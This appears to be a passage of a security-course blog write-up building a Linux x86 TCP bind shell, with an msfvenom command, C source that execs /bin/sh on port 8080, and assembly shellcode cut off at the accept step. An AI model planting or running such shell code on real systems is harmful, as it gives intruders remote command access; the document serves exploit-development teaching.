&lt;p&gt;Code is available on my &lt;a href=&quot;https://github.com/phackt/slae/tree/master/assignment1&quot;&gt;github repo&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Our Goal:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;Create a Shell_Bind_TCP shellcode:&lt;/em&gt;&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;em&gt;binds to a port that should be easily configurable&lt;/em&gt;&lt;/li&gt;
    &lt;li&gt;&lt;em&gt;executes shell on incoming connection&lt;/em&gt;&lt;/li&gt;
    &lt;li&gt;&lt;em&gt;easily configure the listening port&lt;/em&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;If we want to create a TCP Bind shellcode from scratch, what are our options?:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; The lazy one; creating a shellcode thanks to msfvenom&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msfvenom &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; linux/x86/shell_bind_tcp &lt;span class=&quot;nv&quot;&gt;LPORT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;8080 &lt;span class=&quot;nv&quot;&gt;EXITFUNC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;THREAD &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; raw | ndisasm &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; -
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But it is quite too easy.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; Creating our own ELF thanks to a C program that will help to understand how the final shellcode will work.&lt;/p&gt;

&lt;p&gt;We will choose this last option.&lt;/p&gt;

&lt;p&gt;Here is our C source code:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;sys/types.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt; 
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;clientfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sockfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dstport&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8080&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sockaddr_in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mysockaddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
        &lt;span class=&quot;n&quot;&gt;sockfd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AF_INET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SOCK_STREAM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
 
        &lt;span class=&quot;n&quot;&gt;mysockaddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sin_family&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AF_INET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//2&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;mysockaddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sin_port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;htons&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dstport&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//8080&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;mysockaddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sin_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;INADDR_ANY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//0&lt;/span&gt;
 
        &lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sockfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sockaddr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mysockaddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mysockaddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
 
        &lt;span class=&quot;n&quot;&gt;listen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sockfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
 
        &lt;span class=&quot;n&quot;&gt;clientfd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;accept&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sockfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
 
        &lt;span class=&quot;n&quot;&gt;dup2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;clientfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;dup2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;clientfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;dup2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;clientfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
 
        &lt;span class=&quot;n&quot;&gt;execve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s test it:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gcc &lt;span class=&quot;nt&quot;&gt;-fno-stack-protector&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-z&lt;/span&gt; execstack &lt;span class=&quot;nt&quot;&gt;-ggdb&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; shell-bind-tcp shell-bind-tcp.c
./shell-bind-tcp


&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From another shell:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/slae/assignment1/image1.png&quot; alt=&quot;image1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;objdump -d ./shell-bind-tcp -M intel&lt;/code&gt; produces a huge amount of assembly code.&lt;br /&gt;
Something good to notice is that our ELF has been dynamically linked:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/slae/assignment1/image3.png&quot; alt=&quot;image3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The ELF is using the .plt and .got sections in order to dynamically address the interesting functions.&lt;br /&gt;
These functions are LIBC functions:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/slae/assignment1/image2.png&quot; alt=&quot;image2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We will need to translate these function calls into system calls. Let’s focus on the following functions:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;socket
bind
listen
accept
dup2
execve
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s have a look in &lt;strong&gt;/usr/include/i386-linux-gnu/asm/unistd_32.h&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What is the syscall socketcall?&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;man 2 socketcall

SOCKETCALL&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                             Linux Programmer&lt;span class=&quot;s1&quot;&gt;&apos;s Manual                                            SOCKETCALL(2)

NAME
       socketcall - socket system calls

SYNOPSIS
       int socketcall(int call, unsigned long *args);

DESCRIPTION
       socketcall()  is  a  common  kernel  entry point for the socket system calls.  call determines which socket function to invoke.  args
       points to a block containing the actual arguments, which are passed through to the appropriate call.

       User programs should call the appropriate functions by their usual names.  Only standard library implementors and kernel hackers need
       to know about socketcall().
...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s check the different values of the first &lt;strong&gt;int call&lt;/strong&gt; argument:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;grep &lt;/span&gt;SYS_ /usr/include/linux/net.h 
&lt;span class=&quot;c&quot;&gt;#define SYS_SOCKET   1             /* sys_socket(2)            */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_BIND     2             /* sys_bind(2)              */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_CONNECT  3             /* sys_connect(2)           */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_LISTEN   4             /* sys_listen(2)            */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_ACCEPT   5             /* sys_accept(2)            */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_GETSOCKNAME     6      /* sys_getsockname(2)       */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_GETPEERNAME     7      /* sys_getpeername(2)       */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_SOCKETPAIR      8      /* sys_socketpair(2)        */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_SEND     9             /* sys_send(2)              */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_RECV     10            /* sys_recv(2)              */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_SENDTO   11            /* sys_sendto(2)            */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_RECVFROM 12            /* sys_recvfrom(2)          */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_SHUTDOWN 13            /* sys_shutdown(2)          */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_SETSOCKOPT      14     /* sys_setsockopt(2)        */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_GETSOCKOPT      15     /* sys_getsockopt(2)        */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_SENDMSG  16            /* sys_sendmsg(2)           */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_RECVMSG  17            /* sys_recvmsg(2)           */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_ACCEPT4  18            /* sys_accept4(2)           */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_RECVMMSG 19            /* sys_recvmmsg(2)          */&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#define SYS_SENDMMSG 20            /* sys_sendmmsg(2)          */&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So let’s dive into our shellcode:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;; shell_bind_tcp.nasm&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; &lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; A TCP port bind shellcode&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; Author: SLAE - 891&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; You are free to use and/or redistribute it without restriction&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_start&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;section&lt;/span&gt;       &lt;span class=&quot;nv&quot;&gt;.text&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;_start:&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; sockfd = socket(AF_INET, SOCK_STREAM, 0);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; int socketcall(int call, unsigned long *args);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; #define __NR_socketcall   102&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; #define SYS_SOCKET        1&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mul&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;              &lt;span class=&quot;c1&quot;&gt;; zero out eax and edx&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;102&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;; __NR_socketcall&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; SYS_SOCKET&lt;/span&gt;
       
       &lt;span class=&quot;c1&quot;&gt;; we are pushing on the stack our arguments&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; IPPROTO_IP&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;; SOCK_STREAM&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;; AF_INET&lt;/span&gt;
       
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; the top of the stack points to a structure of 3 arguments&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; syscall - result is stored in eax&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; stores sockfd&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; bind(sockfd, (struct sockaddr *) &amp;amp;mysockaddr, sizeof(mysockaddr));&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; int socketcall(int call, unsigned long *args);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; #define __NR_socketcall   102&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; #define SYS_BIND                 2&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; mysockaddr.sin_addr.s_addr = INADDR_ANY; //0 - listen on 0.0.0.0 (all interfaces)&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;word&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x901f&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; mysockaddr.sin_port = htons(dstport); //8080&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;word&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;; AF_INET&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; stores the address of mysockaddr&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; length of mysockaddr&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; pointer to mysockaddr&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; sockfd&lt;/span&gt;

       &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; flushing registers&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mul&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;102&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;; __NR_socketcall&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; SYS_BIND&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; pointer to the args for socketcall&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;


&lt;span class=&quot;c1&quot;&gt;; listen(sockfd, 0);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; int socketcall(int call, unsigned long *args);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; #define __NR_socketcall   102&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; #define SYS_LISTEN        4&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; 0&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; sockfd&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; flushing registers&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mul&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;102&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;; __NR_socketcall&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; SYS_LISTEN&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; pointer to the args for socketcall&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt; 


&lt;span class=&quot;c1&quot;&gt;; clientfd = accept(sockfd, NULL, NULL);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; int socketcall(int call, unsigned long *args);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; #define __NR_socketcall   102&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;; #define SYS_ACCEPT        5&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; flushing registers&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;mul&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;

       &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; NULL&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; NULL&lt;/span&gt;
       &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; sockfd&lt;/span&gt;

